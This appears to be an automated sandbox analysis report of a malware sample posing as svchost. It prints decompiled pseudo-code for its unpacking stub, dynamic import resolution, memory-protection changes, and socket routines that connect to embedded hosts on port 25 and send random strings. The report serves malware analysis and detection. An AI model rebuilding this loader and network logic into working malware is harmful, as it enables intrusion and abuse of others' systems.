Sleep.KERNEL32(00000BB8), ref: 04001712

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: ProcessSleep$CloseCodeEventExitHandleInitializeObjectSingleTerminateWait
String ID:
API String ID: 110750051-0
Opcode ID: fe07a60cbe0f7ecbb0d01f894f054a993e108e4a151b0fabb885b28606ec9793
Instruction ID: d411829a3222fa01dcd82fa6bcec4b197f6087181c8baad7daf63abf5d028934
Opcode Fuzzy Hash: fe07a60cbe0f7ecbb0d01f894f054a993e108e4a151b0fabb885b28606ec9793
Instruction Fuzzy Hash: F9312A74A01204DFEB14DFA4DA98B9DB7B5FB44304F54C598E809BB280D779AE80DB51

Uniqueness

Uniqueness Score: -1.00%

Function 04001160 Relevance: 10.6, APIs: 7, Instructions: 85
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E04001160(signed int __eax, intOrPtr _a4, signed short _a8, intOrPtr _a12, char _a16) {
				signed char _v8;
				short _v12;
				signed char _v13;
				signed int _v20;
				intOrPtr _v32;
				short _v34;
				char _v36;
				intOrPtr _v40;
				char _v44;
				signed int _t40;
				char* _t42;

				_push(6);
				_push(1);
				_push(2); // executed
				L0400101E(); // executed
				_v20 = __eax;
				if(_v20 != 0xffffffff) {
					_v36 = 2;
					_push(_a8 & 0x0000ffff);
					L04001030();
					_v34 = 2;
					_push(_a4); // executed
					L04001018(); // executed
					_v12 = 2;
					if(_v12 == 0) {
						return 0xffffffffffffffff;
					}
					_v32 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0xc))))));
					_v8 = 0;
					_v13 = 0;
					_v40 = 0;
					while(_v40 < _a12) {
						_push(0x10);
						_t42 =  &_v36;
						_push(_t42);
						_push(_v20); // executed
						L04001036(); // executed
						if(_t42 != 0) {
							_v40 = _v40 + 1;
							continue;
						}
						_v13 = 1;
						break;
					}
					if((_v13 & 0x000000ff) != 0) {
						if(_a16 != 0) {
							_v44 = _a16;
							_push(4);
							_push( &_v44);
							_push(0x1005);
							_push(0xffff);
							_push(_v20); // executed
							L0400102A(); // executed
							_push(4);
							_push( &_v44);
							_push(0x1006);
							_push(0xffff);
							_push(_v20); // executed
							L0400102A(); // executed
						}
						return _v20;
					}
					_t40 = _v20;
					_push(_t40);
					L04001000();
					return _t40 | 0xffffffff;
				}
				return _v20;
			}

0x04001166
0x04001168
0x0400116a
0x0400116c
0x04001171
0x04001178
0x04001187
0x0400118f
0x04001190
0x04001195
0x0400119c
0x0400119d
0x040011a2
0x040011a9
0x00000000
0x040011ba
0x040011b5
0x040011c2
0x040011c9
0x040011cd
0x040011df
0x040011e7
0x040011e9
0x040011ec
0x040011f0
0x040011f1
0x040011f8
0x040011dc
0x00000000
0x040011dc
0x040011fa
0x00000000
0x040011fa
0x04001208
0x0400121c
0x04001221
0x04001224
0x04001229
0x0400122a
0x0400122f
0x04001237
0x04001238
0x0400123d
0x04001242
0x04001243
0x04001248
0x04001250
0x04001251
0x04001251
0x00000000
0x04001256
0x0400120a
0x0400120d
0x0400120e
0x00000000
0x04001213
0x00000000

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 0400116C
htons.WS2_32(?), ref: 04001190
gethostbyname.WS2_32(?), ref: 0400119D
connect.WS2_32(000000FF,?,00000010), ref: 040011F1
closesocket.WS2_32(000000FF), ref: 0400120E

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: closesocketconnectgethostbynamehtonssocket
String ID:
API String ID: 530611402-0
Opcode ID: 3d9d7dafa64235843ffb934672811fee420f5a57adc05dc76075f4ea8ad417e8
Instruction ID: 08c5e0426ad4df4722dd3bdfc990c85badbf8b170f181f32ce41d694214c1be1
Opcode Fuzzy Hash: 3d9d7dafa64235843ffb934672811fee420f5a57adc05dc76075f4ea8ad417e8
Instruction Fuzzy Hash: 66315070A00259EBEB14DFA4C845BEEB7B6BF48318F108649E5617F2C0E7B6A9408751

Uniqueness

Uniqueness Score: -1.00%

Function 04001490 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E04001490() {
				signed int _v8;
				intOrPtr _v12;
				char _v524;
				intOrPtr _v528;
				intOrPtr _v532;
				intOrPtr _v536;
				signed int _v540;
				intOrPtr _v544;
				char _v548;
				char _v552;
				long _v556;
				void* _t73;

				_v8 = 0;
				_v12 = 3;
				_v528 = 0;
				while(_v528 < 3) {
					_v532 = 0;
					while(_v532 < 0x46) {
						E04001260(_t40,  &_v524, 0, 0x200);
						_v544 = E04001430(0x64);
						_v540 = E04001430(7);
						_t40 = E04001160(_v540,  *((intOrPtr*)(0x4088c00 + _v540 * 4)), 0x19, 1, 0x1388); // executed
						_t73 = _t73 + 0x24;
						_v536 = _t40;
						if(_v536 == 0xffffffff) {
							Sleep(1); // executed
							_v532 = _v532 + 1;
							continue;
						} else {
							E040013B0( &_v524, _v544); // executed
							 *0x400304c( &_v524, 0x4003134);
							_v556 = GetTickCount();
							E040010E0(_v536,  &_v524, _v544); // executed
							_v548 = 0;
							_v552 = 0;
							E04001040(_v536,  &_v524, 0x200,  &_v548,  &_v552); // executed
							_t73 = _t73 + 0x28;
							_v8 = _v552 - _v556 + _v8;
							_push(_v536); // executed
							L04001000(); // executed
						}
						break;
					}
					_t40 = _v528 + 1;
					_v528 = _v528 + 1;
				}
				asm("cdq");
				return _v8 / 3;
			}

0x04001499
0x040014a0
0x040014a7
0x040014c2
0x040014cf
0x040014ea
0x04001505
0x04001517
0x04001527
0x04001544
0x04001549
0x0400154c
0x04001559
0x0400160f
0x040014e4
0x00000000
0x0400155f
0x0400156d
0x04001581
0x0400158d
0x040015a8
0x040015b0
0x040015ba
0x040015e5
0x040015ea
0x040015fc
0x04001605
0x04001606
0x04001606
0x00000000
0x04001559
0x040014b9
0x040014bc
0x040014bc
0x04001622
0x0400162d

APIs

Part of subcall function 04001430: QueryPerformanceCounter.KERNEL32(00000000), ref: 04001444

Part of subcall function 04001160: socket.WS2_32(00000002,00000001,00000006), ref: 0400116C

Sleep.KERNELBASE(00000001), ref: 0400160F

Part of subcall function 040013B0: QueryPerformanceCounter.KERNEL32(?), ref: 040013E7
Part of subcall function 040013B0: Sleep.KERNELBASE(00000000), ref: 040013EF

lstrcat.KERNEL32(?,04003134), ref: 04001581
GetTickCount.KERNEL32 ref: 04001587
closesocket.WS2_32(000000FF), ref: 04001606

Strings

F, xrefs: 040014EA

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: CounterPerformanceQuerySleep$CountTickclosesocketlstrcatsocket
String ID: F
API String ID: 900668384-1304234792
Opcode ID: e6bc4524acd37c5f2a61d60cd04ada7e2da9e6c79a86eb7b70bf2b9ee635fd7d
Instruction ID: d79780824819048788ded504410e9a552de5875a97c05552d19a965bcf11c014
Opcode Fuzzy Hash: e6bc4524acd37c5f2a61d60cd04ada7e2da9e6c79a86eb7b70bf2b9ee635fd7d
Instruction Fuzzy Hash: 053152B5D41218EBEB20EF94DC49BD973B4AB14308F0482D9E5197A2C1E7766F848F91

Uniqueness

Uniqueness Score: -1.00%

Function 0408BF20 Relevance: 7.7, APIs: 5, Instructions: 206
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			_entry_() {
				char _v128;
				char _v280;
				signed int _v408;
				struct _SECURITY_ATTRIBUTES* _v412;
				signed int _v416;
				signed int _v420;
				void* _v424;
				struct _SECURITY_ATTRIBUTES* _v428;
				signed int _v432;
				void* _v436;
				void* _v440;
				void* _v444;
				void _t72;
				int _t73;
				signed int _t74;
				void _t75;
				void _t76;
				signed int _t78;
				signed int _t79;
				unsigned int _t80;
				signed int _t90;
				signed char* _t95;
				long _t96;
				char* _t99;
				signed int _t100;
				signed int _t101;
				signed int _t103;
				signed int _t106;
				struct _SECURITY_ATTRIBUTES* _t108;
				void* _t111;
				void* _t117;
				signed int _t136;
				signed int _t139;
				signed int _t140;
				signed int _t141;
				intOrPtr* _t144;
				signed int* _t146;
				signed int _t147;
				void* _t160;
				signed int _t164;
				void* _t170;
				unsigned int* _t171;
				CHAR* _t173;
				signed int _t174;
				signed int _t175;
				signed int _t177;
				struct HINSTANCE__* _t178;
				intOrPtr _t179;
				DWORD* _t180;
				struct HINSTANCE__* _t181;
				void* _t184;
				signed int _t186;

				asm("pushad");
				_t177 = 0x4063000;
				_t1 = _t177 - 0x62000; // 0x4001000
				_t170 = _t1;
				_push(_t170);
				while(1) {
					_t138 =  *_t177;
					_t177 = _t177 - 0xfffffffc;
					asm("adc ebx, ebx");
					do {
						if(_t184 < 0) {
							_t72 =  *_t177;
							_t177 = _t177 + 1;
							 *_t170 = _t72;
							_t170 = _t170 + 1;
							__eflags = _t170;
							goto L18;
						}
						_t73 = 1;
						while(1) {
							_t139 = _t138 + _t138;
							if(_t139 == 0) {
								_t139 =  *_t177;
								_t177 = _t177 - 0xfffffffc;
								asm("adc ebx, ebx");
							}
							asm("adc eax, eax");
							_t140 = _t139 + _t139;
							_t186 = _t140;
							if(_t186 >= 0) {
								goto L27;
							}
							L25:
							if(_t186 != 0) {
								L33:
								_t147 = 0;
								_t74 = _t73 - 3;
								__eflags = _t74;
								if(_t74 < 0) {
									_t140 = _t140 + _t140;
									__eflags = _t140;
									if(__eflags == 0) {
										_t140 =  *_t177;
										_t177 = _t177 - 0xfffffffc;
										asm("adc ebx, ebx");
									}
									L38:
									if(__eflags < 0) {
										L30:
										_t138 = _t140 + _t140;
										__eflags = _t138;
										if(_t138 == 0) {
											_t138 =  *_t177;
											_t177 = _t177 - 0xfffffffc;
											asm("adc ebx, ebx");
										}
										asm("adc ecx, ecx");
										L48:
										__eflags = _t178 - 0xfffffb00;
										asm("adc ecx, 0x2");
										_t160 = _t170 + _t178;
										__eflags = _t178 - 0xfffffffc;
										if(_t178 <= 0xfffffffc) {
											do {
												_t75 =  *_t160;
												_t160 = _t160 + 4;
												 *_t170 = _t75;
												_t170 = _t170 + 4;
												_t147 = _t147 - 4;
												__eflags = _t147;
											} while (_t147 > 0);
											_t170 = _t170 + _t147;
											break;
										} else {
											goto L49;
										}
										do {
											L49:
											_t76 =  *_t160;
											_t160 = _t160 + 1;
											 *_t170 = _t76;
											_t170 = _t170 + 1;
											_t147 = _t147 - 1;
											__eflags = _t147;
										} while (_t147 != 0);
										break;
									}
									_t147 = _t147 + 1;
									_t140 = _t140 + _t140;
									__eflags = _t140;
									if(__eflags == 0) {
										_t140 =  *_t177;
										_t177 = _t177 - 0xfffffffc;
										asm("adc ebx, ebx");
									}
									if(__eflags < 0) {
										goto L30;
									} else {
										goto L42;
										do {
											do {
												L42:
												_t141 = _t140 + _t140;
												__eflags = _t141;
												if(_t141 == 0) {
													_t141 =  *_t177;
													_t177 = _t177 - 0xfffffffc;
													asm("adc ebx, ebx");
												}
												asm("adc ecx, ecx");
												_t140 = _t141 + _t141;
												__eflags = _t140;
											} while (__eflags >= 0);
											if(__eflags != 0) {
												break;
											}
											_t140 =  *_t177;
											_t177 = _t177 - 0xfffffffc;
											__eflags = _t177;
											asm("adc ebx, ebx");
										} while (_t177 >= 0);
										_t147 = _t147 + 2;
										__eflags = _t147;
										goto L48;
									}
								}
								_t78 =  *_t177;
								_t177 = _t177 + 1;
								_t79 = _t78 ^ 0xffffffff;
								__eflags = _t79;
								if(__eflags == 0) {
									_pop(_t177);
									_t171 = _t177;
									goto L54;
									do {
										do {
											L54:
											_t80 =  *_t171;
											_t171 =  &(_t171[0]);
											__eflags = _t80 - 0xe8 - 1;
										} while (_t80 - 0xe8 > 1);
										__eflags =  *_t171;
									} while ( *_t171 != 0);
									asm("rol eax, 0x10");
									 *_t171 = ( *_t171 >> 8) - _t171 + _t177;
									__eflags =  &(_t171[1]);
									asm("loop 0xffffffdb");
									_t55 = _t177 + 0x89000; // 0x408a000
									_t173 = _t55;
									while(1) {
										L57:
										_t90 =  *_t173;
										__eflags = _t90;
										if(_t90 == 0) {
											break;
										}
										_t56 =  &(_t173[4]); // 0x2000
										_t146 =  *_t56 + _t177;
										_t175 =  &(_t173[8]);
										__eflags = _t175;
										_t178 = LoadLibraryA(_t90 + _t177 + 0x8c000);
										while(1) {
											_t173 = _t175 + 1;
											__eflags =  *_t175;
											if(__eflags == 0) {
												goto L57;
											}
											if(__eflags < 0) {
												_push( *_t173 & 0x0000ffff);
												_t173 =  &(_t173[2]);
												__eflags = _t173;
											}
											asm("repne scasb");
											_t136 = GetProcAddress(_t178, _t173);
											__eflags = _t136;
											if(_t136 == 0) {
												ExitProcess();
											} else {
												 *_t146 = _t136;
												_t146 =  &(_t146[1]);
												continue;
											}
										}
									}
									_t174 =  &(_t173[4]);
									__eflags = _t174;
									_t63 = _t177 - 4; // 0x4000ffc
									_t144 = _t63;
									while(1) {
										_t174 = _t174 + 1;
										_t93 = 0;
										__eflags = 0;
										if(0 == 0) {
											break;
										}
										__eflags = 0 - 0xef;
										if(0 > 0xef) {
											_t93 =  *_t174;
											_t174 = _t174 + 2;
										}
										_t144 = _t144 + _t93;
										asm("rol eax, 0x10");
										 *_t144 =  *_t144 + _t177;
									}
									_t66 = _t177 + 0x8c05c; // 0x74656760
									_t179 =  *_t66;
									_t67 = _t177 - 0x1000; // 0x4000000
									_t170 = _t67;
									_t138 = 0x1000;
									_push(0);
									VirtualProtect(_t170, 0x1000, 4, _t180);
									_t68 = _t170 + 0x1df; // 0x40001df
									_t95 = _t68;
									 *_t95 =  *_t95 & 0x0000007f;
									_t69 =  &(_t95[0x28]);
									 *_t69 = _t95[0x28] & 0x0000007f;
									__eflags =  *_t69;
									_pop(_t96);
									_push(_t96);
									VirtualProtect(_t170, 0x1000, _t96, _t180); // executed
									asm("popad");
									_t99 =  &_v128;
									do {
										_push(0);
										__eflags = _t180 - _t99;
									} while (_t180 != _t99);
									_t181 = _t180 - 0xffffff80;
									_push(_t179);
									_t178 = _t181;
									_t180 = _t181 - 0x1b8;
									_t100 =  &_v280;
									_push(_t100);
									_push(0x202); // executed
									L0400100C(); // executed
									__eflags = _t100;
									if(_t100 != 0) {
										L16:
										ExitProcess(0);
									}
									_v408 = 0;
									_v412 = 0;
									while(1) {
										_t101 = E04001490(); // executed
										_v416 = _t101;
										__eflags = _v416;
										if(_v416 <= 0) {
											goto L14;
										}
										__eflags = _v416 - 0x2710;
										if(_v416 >= 0x2710) {
											goto L14;
										}
										 *0x4088c2c = CreateEventA(0, 1, 0, 0);
										_t103 = E040023E0( *((intOrPtr*)(0x4088c1c + _v408 * 4))); // executed
										_t180 =  &(_t180[1]);
										_v420 = _t103;
										__eflags = _v420;
										if(_v420 != 0) {
											E04001DC0(_v420, 0x4085600); // executed
											_t117 = E04001470(0xc);
											_t180 =  &(_t180[3]);
											_v440 = _t117;
											_v424 = _v440;
											 *_v424 =  *(0x4088c1c + _v408 * 4);
											 *(_v424 + 4) = _v420;
											 *((intOrPtr*)(_v424 + 8)) = 0x4085600;
											CreateThread(0, 0, E04001630, _v424, 0, 0); // executed
										}
										_v428 = 0;
										while(1) {
											__eflags = _v428 - 3;
											if(_v428 >= 3) {
												break;
											}
											_t106 = E040023E0( *((intOrPtr*)(0x4088c20 + (_v412 + _v428) * 4))); // executed
											_t180 =  &(_t180[1]);
											_v432 = _t106;
											__eflags = _v432;
											if(_v432 != 0) {
												E04001DC0(_v432, 0x4085600); // executed
												_t111 = E04001470(0xc);
												_t180 =  &(_t180[3]);
												_v444 = _t111;
												_v436 = _v444;
												_t164 = _v412 + _v428;
												__eflags = _t164;
												 *_v436 =  *(0x4088c20 + _t164 * 4);
												 *(_v436 + 4) = _v432;
												 *((intOrPtr*)(_v436 + 8)) = 0x4085600;
												CreateThread(0, 0, E04001630, _v436, 0, 0); // executed
											}
											_t108 =  &(_v428->nLength);
											__eflags = _t108;
											_v428 = _t108;
										}
										WaitForSingleObject( *0x4088c2c, 0xffffffff);
										Sleep(0x9c40);
										L04001006();
										goto L16;
										L14:
										Sleep(0x7530);
									}
								}
								_t178 = _t79 >> 1;
								goto L38;
							}
							_t140 =  *_t177;
							_t177 = _t177 - 0xfffffffc;
							asm("adc ebx, ebx");
							if(_t177 < 0) {
								goto L33;
							}
							L27:
							_t73 = _t73 - 1;
							_t138 = _t140 + _t140;
							if(_t138 == 0) {
								_t138 =  *_t177;
								_t177 = _t177 - 0xfffffffc;
								asm("adc ebx, ebx");
							}
							asm("adc eax, eax");
							_t139 = _t138 + _t138;
							if(_t139 == 0) {
								_t139 =  *_t177;
								_t177 = _t177 - 0xfffffffc;
								asm("adc ebx, ebx");
							}
							asm("adc eax, eax");
							_t140 = _t139 + _t139;
							_t186 = _t140;
							if(_t186 >= 0) {
								goto L27;
							}
						}
						L18:
						_t138 = _t138 + _t138;
						__eflags = _t138;
					} while (_t138 != 0);
				}
			}

0x0408bf20
0x0408bf21
0x0408bf26
0x0408bf26
0x0408bf2c
0x0408bf3a
0x0408bf3a
0x0408bf3c
0x0408bf3f
0x0408bf41
0x0408bf41
0x0408bf30
0x0408bf32
0x0408bf33
0x0408bf35
0x0408bf35
0x00000000
0x0408bf35
0x0408bf43
0x0408bf48
0x0408bf48
0x0408bf4a
0x0408bf4c
0x0408bf4e
0x0408bf51
0x0408bf51
0x0408bf53
0x0408bf55
0x0408bf55
0x0408bf57
0x00000000
0x00000000
0x0408bf59
0x0408bf59
0x0408bf83
0x0408bf83
0x0408bf85
0x0408bf85
0x0408bf88
0x0408bf9b
0x0408bf9b
0x0408bf9d
0x0408bf9f
0x0408bfa1
0x0408bfa4
0x0408bfa4
0x0408bfa6
0x0408bfa6
0x0408bf74
0x0408bf74
0x0408bf74
0x0408bf76
0x0408bf78
0x0408bf7a
0x0408bf7d
0x0408bf7d
0x0408bf7f
0x0408bfd5
0x0408bfd5
0x0408bfdb
0x0408bfde
0x0408bfe1
0x0408bfe4
0x0408bff4
0x0408bff4
0x0408bff6
0x0408bff9
0x0408bffb
0x0408bffe
0x0408bffe
0x0408bffe
0x0408c003
0x00000000
0x00000000
0x00000000
0x00000000
0x0408bfe6
0x0408bfe6
0x0408bfe6
0x0408bfe8
0x0408bfe9
0x0408bfeb
0x0408bfec
0x0408bfec
0x0408bfec
0x00000000
0x0408bfef
0x0408bfa8
0x0408bfa9
0x0408bfa9
0x0408bfab
0x0408bfad
0x0408bfaf
0x0408bfb2
0x0408bfb2
0x0408bfb4
0x00000000
0x0408bfb6
0x00000000
0x0408bfb6
0x0408bfb6
0x0408bfb6
0x0408bfb6
0x0408bfb6
0x0408bfb8
0x0408bfba
0x0408bfbc
0x0408bfbf
0x0408bfbf
0x0408bfc1
0x0408bfc3
0x0408bfc3
0x0408bfc3
0x0408bfc7
0x00000000
0x00000000
0x0408bfc9
0x0408bfcb
0x0408bfcb
0x0408bfce
0x0408bfce
0x0408bfd2
0x0408bfd2
0x00000000
0x0408bfd2
0x0408bfb4
0x0408bf8d
0x0408bf8f
0x0408bf90
0x0408bf90
0x0408bf93
0x0408c00a
0x0408c00b
0x0408c00d
0x0408c012
0x0408c012
0x0408c012
0x0408c012
0x0408c014
0x0408c017
0x0408c017
0x0408c01b
0x0408c01b
0x0408c029
0x0408c035
0x0408c037
0x0408c03c
0x0408c03e
0x0408c03e
0x0408c044
0x0408c044
0x0408c046
0x0408c046
0x0408c048
0x00000000
0x00000000
0x0408c04a
0x0408c054
0x0408c057
0x0408c057
0x0408c060
0x0408c061
0x0408c063
0x0408c064
0x0408c066
0x00000000
0x00000000
0x0408c06a
0x0408c070
0x0408c071
0x0408c071
0x0408c072
0x0408c075
0x0408c07e
0x0408c07e
0x0408c080
0x0408c089
0x0408c082
0x0408c082
0x0408c084
0x00000000
0x0408c084
0x0408c080
0x0408c061
0x0408c08f
0x0408c08f
0x0408c092
0x0408c092
0x0408c095
0x0408c099
0x0408c09a
0x0408c09a
0x0408c09c
0x00000000
0x00000000
0x0408c09e
0x0408c0a0
0x0408c0b8
0x0408c0bb
0x0408c0bb
0x0408c0a2
0x0408c0a8
0x0408c0af
0x0408c0af
0x0408c0c0
0x0408c0c0
0x0408c0c6
0x0408c0c6
0x0408c0cc
0x0408c0d1
0x0408c0d7
0x0408c0d9
0x0408c0d9
0x0408c0df
0x0408c0e2
0x0408c0e2
0x0408c0e2
0x0408c0e6
0x0408c0e7
0x0408c0ec
0x0408c0ef
0x0408c0f0
0x0408c0f4
0x0408c0f4
0x0408c0f6
0x0408c0f6
0x0408c0fa
0x04001780
0x04001781
0x04001783
0x04001789
0x0400178f
0x04001790
0x04001795
0x0400179a
0x0400179c
0x040019a0
0x040019a2
0x040019a2
0x040017a2
0x040017ac
0x040017b6
0x040017b6
0x040017bb
0x040017c1
0x040017c8
0x00000000
0x00000000
0x040017ce
0x040017d8
0x00000000
0x00000000
0x040017ec
0x040017ff
0x04001804
0x04001807
0x0400180d
0x04001814
0x04001822
0x0400182c
0x04001831
0x04001834
0x04001840
0x04001859
0x04001867
0x04001870
0x0400188b
0x0400188b
0x04001891
0x040018ac
0x040018ac
0x040018b3
0x00000000
0x00000000
0x040018cd
0x040018d2
0x040018d5
0x040018db
0x040018e2
0x040018f4
0x040018fe
0x04001903
0x04001906
0x04001912
0x0400191e
0x0400191e
0x04001931
0x0400193f
0x04001948
0x04001963
0x04001963
0x040018a3
0x040018a3
0x040018a6
0x040018a6
0x04001976
0x04001981
0x0400199b
0x00000000
0x0400198b
0x04001990
0x04001990
0x040017b6
0x0408bf97
0x00000000
0x0408bf97
0x0408bf5b
0x0408bf5d
0x0408bf60
0x0408bf62
0x00000000
0x00000000
0x0408bf64
0x0408bf64
0x0408bf65
0x0408bf67
0x0408bf69
0x0408bf6b
0x0408bf6e
0x0408bf6e
0x0408bf70
0x0408bf48
0x0408bf4a
0x0408bf4c
0x0408bf4e
0x0408bf51
0x0408bf51
0x0408bf53
0x0408bf55
0x0408bf55
0x0408bf57
0x00000000
0x00000000
0x0408bf57
0x0408bf36
0x0408bf36
0x0408bf36
0x0408bf36
0x0408bf41

APIs

LoadLibraryA.KERNEL32(?), ref: 0408C05A
GetProcAddress.KERNEL32(?,04089FF9), ref: 0408C078
ExitProcess.KERNEL32(?,04089FF9), ref: 0408C089
VirtualProtect.KERNELBASE(04000000,00001000,00000004,?,00000000), ref: 0408C0D7
VirtualProtect.KERNELBASE(04000000,00001000), ref: 0408C0EC

Memory Dump Source

Source File: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: ProtectVirtual$AddressExitLibraryLoadProcProcess
String ID:
API String ID: 1996367037-0
Opcode ID: 64764ee8238996737652da89ce96f32c0f690e677ce2c9ab463374656e08a4d0
Instruction ID: 20fcce43128c80cbc216fde34acc2cdd335751d52faa48733a5718032d389bea
Opcode Fuzzy Hash: 64764ee8238996737652da89ce96f32c0f690e677ce2c9ab463374656e08a4d0
Instruction Fuzzy Hash: CA51F6716542525BE720AEB8CEC0664B7F0EB02264718073DE5E5EB3C3EBA0B8059F61

Uniqueness

Uniqueness Score: -1.00%

Function 04001040 Relevance: 3.1, APIs: 2, Instructions: 56
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E04001040(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _t26;

				if(_a8 == 0 || _a12 < 0) {
					return 0;
				} else {
					_v8 = 0;
					while(_a12 != 0) {
						_push(0);
						_t26 = _a12;
						_push(_t26);
						_push(_a8 + _v8);
						_push(_a4); // executed
						L04001024(); // executed
						_v12 = _t26;
						if(_a20 != 0 &&  *_a20 == 0 && _v12 > 0) {
							 *_a20 = GetTickCount();
						}
						if(_v12 >= 0) {
							if(_v12 != 0) {
								_v8 = _v8 + _v12;
								_a12 = _a12 - _v12;
								continue;
							}
							goto L15;
						} else {
							L15:
							if(_a16 != 0) {
								 *_a16 = _v8;
							}
							return 1;
						}
					}
					return 0;
				}
			}

0x0400104a
0x00000000
0x04001056
0x04001056
0x0400105d
0x04001067
0x04001069
0x0400106c
0x04001073
0x04001077
0x04001078
0x0400107d
0x04001084
0x0400109d
0x0400109d
0x040010a3
0x040010ab
0x040010b5
0x040010be
0x00000000
0x040010be
0x00000000
0x040010a5
0x040010c3
0x040010c7
0x040010cf
0x040010cf
0x00000000
0x040010d1
0x040010a3
0x00000000
0x04001063

APIs

recv.WS2_32(?,00000000,?,00000000), ref: 04001078
GetTickCount.KERNEL32 ref: 04001094

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: CountTickrecv
String ID:
API String ID: 1874678310-0
Opcode ID: 6b4986c91a39f45b3505869805ead1539d7754d72571547b31f3d810936fcdc1
Instruction ID: 449e92a0b18f183db0f7345c8df75c2f30566562dbb85a03ceabff6c1882a85f
Opcode Fuzzy Hash: 6b4986c91a39f45b3505869805ead1539d7754d72571547b31f3d810936fcdc1
Instruction Fuzzy Hash: B821F274900299EFEF10CFA4D4447AE7BF1AF04309F108559E8456B281D7B6AA94DB92

Uniqueness

Uniqueness Score: -1.00%

Function 040010E0 Relevance: 3.0, APIs: 2, Instructions: 44
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 54%

			E040010E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _t22;

				if(_a8 == 0 || _a12 < 0) {
					return 0;
				} else {
					_v8 = 0;
					while(_a12 != 0) {
						_push(0);
						_t22 = _a12;
						_push(_t22);
						_push(_a8 + _v8);
						_push(_a4); // executed
						L04001012(); // executed
						_v12 = _t22;
						if(_v12 != 0xffffffff) {
							_v8 = _v8 + _v12;
							_a12 = _a12 - _v12;
							continue;
						}
						return 0;
					}
					_push(0);
					_push(0);
					_push(_a8);
					_push(_a4); // executed
					L04001012(); // executed
					return 1;
				}
			}

0x040010ea
0x00000000
0x040010f6
0x040010f6
0x040010fd
0x04001103
0x04001105
0x04001108
0x0400110f
0x04001113
0x04001114
0x04001119
0x04001120
0x0400112c
0x04001135
0x00000000
0x04001135
0x00000000
0x04001122
0x0400113a
0x0400113c
0x04001141
0x04001145
0x04001146
0x00000000
0x0400114b

APIs

send.WS2_32(?,00000000,?,00000000), ref: 04001114
send.WS2_32(?,00000000,00000000,00000000), ref: 04001146

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: b2e598ef71c8ac5d0c56a500729e24b321e62eb8f582e8b020920d41a4434bf5
Instruction ID: 7140d396e4fa338b1c45032ebff5f33e510887e1da457bfc48643044175dbf3e
Opcode Fuzzy Hash: b2e598ef71c8ac5d0c56a500729e24b321e62eb8f582e8b020920d41a4434bf5
Instruction Fuzzy Hash: 80012234A00348FBEF14CFA8D845BEE77B4AB44318F10C658E9656B2C0D7B6A651EB91

Uniqueness

Uniqueness Score: -1.00%

Function 040013B0 Relevance: 3.0, APIs: 2, Instructions: 38
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E040013B0(intOrPtr _a4, intOrPtr _a8) {
				long _v8;
				long _v12;
				union _LARGE_INTEGER _v20;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0) {
					_v12 = 0;
					while(_v12 < _a8) {
						QueryPerformanceCounter( &_v20);
						Sleep(0); // executed
						_t17 = _v20.LowPart % 0x3d + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmopqrstuvwxyz1234567890"; // 0x44434241
						 *((char*)(_a4 + _v12)) =  *_t17;
						_v12 = _v12 + 1;
					}
					 *((char*)(_a4 + _a8)) = 0;
					_v8 = 1;
				}
				return _v8;
			}

0x040013b6
0x040013c1
0x040013c9
0x040013db
0x040013e7
0x040013ef
0x04001407
0x0400140d
0x040013d8
0x040013d8
0x04001417
0x0400141a
0x0400141a
0x04001427

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 040013E7
